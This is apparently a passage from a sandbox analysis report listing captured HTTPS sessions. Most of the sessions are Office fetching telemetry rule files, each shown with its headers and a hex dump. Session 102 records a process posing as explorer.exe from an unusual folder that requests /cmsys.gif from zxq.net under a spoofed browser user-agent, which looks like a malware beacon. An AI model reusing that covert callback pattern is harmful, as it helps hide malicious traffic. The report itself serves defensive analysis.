96	192.168.2.4	64666	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:45 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: ead951e8-601e-0070-76eb-18a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-r154656d9bcq7mrvshhcb7rrsn00000000c0000000000vqr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	64665	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:45 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 124c4085-f01e-0096-13fa-1910ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-1597f696844lt47xuv87mwabmw00000001w0000000003dw8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	64669	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:46 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:46 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:46 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3056715e-c01e-007a-0131-1ab877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081346Z-1597f696844t7g785amhdzxhqc00000001t000000000030b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:46 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	64668	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:46 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:46 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 94afa4f1-501e-0047-0aca-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081346Z-r154656d9bc4v6bg39gwnbf5vn0000000awg0000000092hs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:46 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	64672	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:46 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:46 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 8920142e-901e-0048-1130-1ab800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081346Z-1597f696844wqd6lfkgu19yfdc00000001q000000000cdph x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:46 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	64670	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:46 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:46 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:46 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 8a28721d-501e-008f-3e9c-159054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081346Z-r154656d9bc2dpb46dmu3uezks0000000kw0000000001zd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:46 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	64673	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:46 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:46 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:46 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	64671	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:46 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:46 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9a19cb7-401e-0078-068c-154d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081346Z-r154656d9bc94jg685tuhe75qw0000000kt0000000006d4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:46 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	64674	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:47 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:47 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 03cbdf3a-901e-00a0-7132-1a6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081347Z-1597f696844lt47xuv87mwabmw00000001u0000000008d7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:47 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	64675	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:47 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9b4b9655-d01e-00ad-17ed-18e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081347Z-r154656d9bcc2bdtn1pd2qfd4c0000000wag000000004cgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	64676	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:47 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b9a19e00-401e-0078-388c-154d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081347Z-r154656d9bcn4d55dey6ma44b00000000kt0000000009kss x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	64677	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:47 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c45e6f37-701e-003e-0e46-1979b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081347Z-r154656d9bc6m642udcg3mq41n0000000ev000000000evh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	64678	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
